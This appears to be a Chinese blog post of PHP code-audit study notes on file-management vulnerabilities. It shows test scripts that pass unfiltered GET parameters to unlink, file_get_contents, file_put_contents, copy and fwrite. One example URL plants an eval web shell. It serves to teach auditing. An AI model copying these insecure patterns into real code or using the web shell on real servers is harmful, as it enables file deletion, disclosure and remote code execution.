PHP代码审计 13 文件管理漏洞

本文记录 PHP 代码审计的学习过程,教程为暗月 2015 版的 PHP 代码审计课程

PHP 代码审计博客目录

1. 简介

  1. 常见函数

    1. copy
    2. rmdir
    3. unlink 删除文件
    4. delete
    5. fwrite
    6. fopen
    7. fgetc
    8. fgetcsv
    9. fgets
    10. fgetss
    11. file
    12. file_get_contents 读取 php 文件内容
    13. fread
    14. readfile 输出文件字符总长度
    15. ftruncate
    16. file_put_contents
    17. fputcsv
    18. fputs
    19. chmod
  2. 测试 unlink() 函数

    新建 demo.php 文件,内容为任意内容

    新建 test.php

     <?php
     $file=$_GET['file'];
     if(isset($file)){
     	unlink($file);
     }
     ?>
    

    浏览器执行 http://127.0.0.1/test.php?file=demo.php

    结果为 demo.php 文件被删除

  3. 测试 file_get_contents() 函数

    新建 demo.php

     <?php
     echo demo.php;
     ?>
    

    新建 test.php

     <?php
     $file=$_GET['file'];
     echo file_get_contents($file);
     ?>
    

    浏览器执行 http://127.0.0.1/test.php?file=demo.php

    结果在浏览器中的查看源代码中

    在这里插入图片描述

  4. 测试 readfile() 函数

    新建 demo.php

     <?php
     echo demo.php;
     ?>
    

    新建 test.php

     <?php
     $file=$_GET['file'];
     echo readfile($file);
     ?>
    

    浏览器执行 http://127.0.0.1/test.php?file=demo.php

    结果在浏览器中的查看源代码中

    在这里插入图片描述

  5. 测试 file_put_contents() 函数

    新建 demo.php

    <?php
    echo demo.php;
    ?>
    

    新建 test.php

    <?php
    $file=$_GET['file'];
    $content=$_GET['txt'];
    echo file_put_contents($file,$content);
    ?>
    

    浏览器执行 http://127.0.0.1/test.php?file=demo.php&txt=<?php eval($_POST['CMD']);?>

    结果在浏览器中的查看源代码中

    在这里插入图片描述

    查看 demo.php 文件已经被覆盖

    在这里插入图片描述

  6. copy() 函数

    新建 demo.php

     <?php
     echo demo.php;
     ?>
    

    新建 test.php

     <?php
     $file=$_GET['file'];
     $content=$_GET['txt'];
     copy($file,$content);
     ?>
    

    浏览器执行 http://127.0.0.1/test.php&txt=demo2.php

    结果在 www 目录下出现了新的文件 demo2.php

  7. fwrite() 函数

    新建 test.php

     <?php
     $file=$_GET['file'];
     $content=$_GET['txt'];
     fwrite(fopen($file,"a+"),"<?php phpinfo();?>");
     ?>
    

    浏览器执行 http://127.0.0.1/test.php?file=demo3.php

    结果在 www 目录下出现了新的文件 demo3.php

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值